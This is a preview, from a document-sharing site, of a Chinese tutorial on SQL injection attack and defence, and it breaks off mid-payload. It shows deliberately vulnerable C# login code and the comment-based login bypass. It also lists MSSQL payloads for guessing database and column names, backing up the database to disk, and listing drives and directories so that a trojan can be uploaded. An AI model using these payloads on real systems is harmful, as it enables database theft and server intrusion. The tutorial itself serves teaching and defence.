1 / 22
文档名称:

SQL注入攻防入门详解.doc

格式:doc   大小:963KB   页数:22页
下载后只包含 1 个 DOC 格式的文档,没有任何的图纸或源代码,查看文件列表

如果您已付费下载过本站文档,您可以点这里二次下载

分享

预览

SQL注入攻防入门详解.doc

上传人:63229029 2017/8/22 文件大小:963 KB

下载得到文件列表

SQL注入攻防入门详解.doc

相关文档

文档介绍

文档介绍:SQL注入攻防入门详解
=============安全性篇目录==============
 
毕业开始从事winfrm到今年转到 web ,在码农届已经足足混了快接近3年了,但是对安全方面的知识依旧薄弱,事实上是没机会接触相关开发……必须的各种借口。这几天把sql注入的相关知识整理了下,希望大家多多提意见。
(对于sql注入的攻防,我只用过简单拼接字符串的注入及参数化查询,可以说没什么好经验,为避免后知后觉的犯下大错,专门查看大量前辈们的心得,这方面的资料颇多,将其精简出自己觉得重要的,就成了该文)
 
下面的程序方案是采用 + MSSQL,其他技术在设置上会有少许不同。   
    示例程序下载:SQL注入攻防入门详解_示例
 
什么是SQL注入(SQL Injection)
所谓SQL注入式攻击,就是攻击者把SQL命令插入到Web表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令。在某些表单中,用户输入的内容直接用来构造(或者影响)动态SQL命令,或作为存储过程的输入参数,这类表单特别容易受到SQL注入式攻击。
 
 
尝尝SQL注入
1.   一个简单的登录页面
关键代码:(详细见下载的示例代码)
?
1
2
3
4
5
6
privateboolNoProtectLogin(string userName, string password)
{
int count = (int)(
       ("SELECT COUNT(*) FROM Login WHERE UserName='{0}' AND Password='{1}'", userName, password));
return count > 0 ? true : false;
}
方法中userName和 password 是没有经过任何处理,直接拿前端传入的数据,这样拼接的SQL会存在注入漏洞。(帐户:admin 123456)
 
1)   输入正常数据,效果如图:
合并的SQL为:
SELECT COUNT(*) FROM Login WHERE UserName='admin' AND Password='123456'
 
2)   输入注入数据:
如图,即用户名为:用户名:admin’—,密码可随便输入
合并的SQL为:
SELECT COUNT(*) FROM Login WHERE UserName='admin'-- Password='123'
因为UserName值中输入了“--”注释符,后面语句被省略而登录成功。(常常的手法:前面加上'; ' (分号,用于结束前一条语句),后边加上'--' (用于注释后边的语句))
 
2.   上面是最简单的一种SQL注入,常见的注入语句还有:
1)   猜测数据库名,备份数据库
a)   猜测数据库名: and db_name() >0
b)   备份数据库:;backup database 数据库名 to disk = ‘c:\*.db’;--
或:declare ***@a sysname;set ***@a=db_name();backup database ***@a to disk='' ,name='test';--
2)   猜解字段名称
a)   猜解法:and (select count(字段名) from 表名)>0 若“字段名”存在,则返回正常
b)   读取法:and (select top 1 col_name(object_id('表名'),1) from sysobjects)>0 把col_name(object_id('表名'),1)中的1依次换成2,3,4,5,6…就可得到所有的字段名称。
3)   遍历系统的目录结构,分析结构并发现WEB虚拟目录(知道位置即可上传木马)
先创建一个临时表:;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
a)   利用xp_availablemedia来获得当前所有驱动器,并存入temp表中
;insert temp exec ;--
b)   利用xp_subdirs获得子目录列表,并存入temp表中
;insert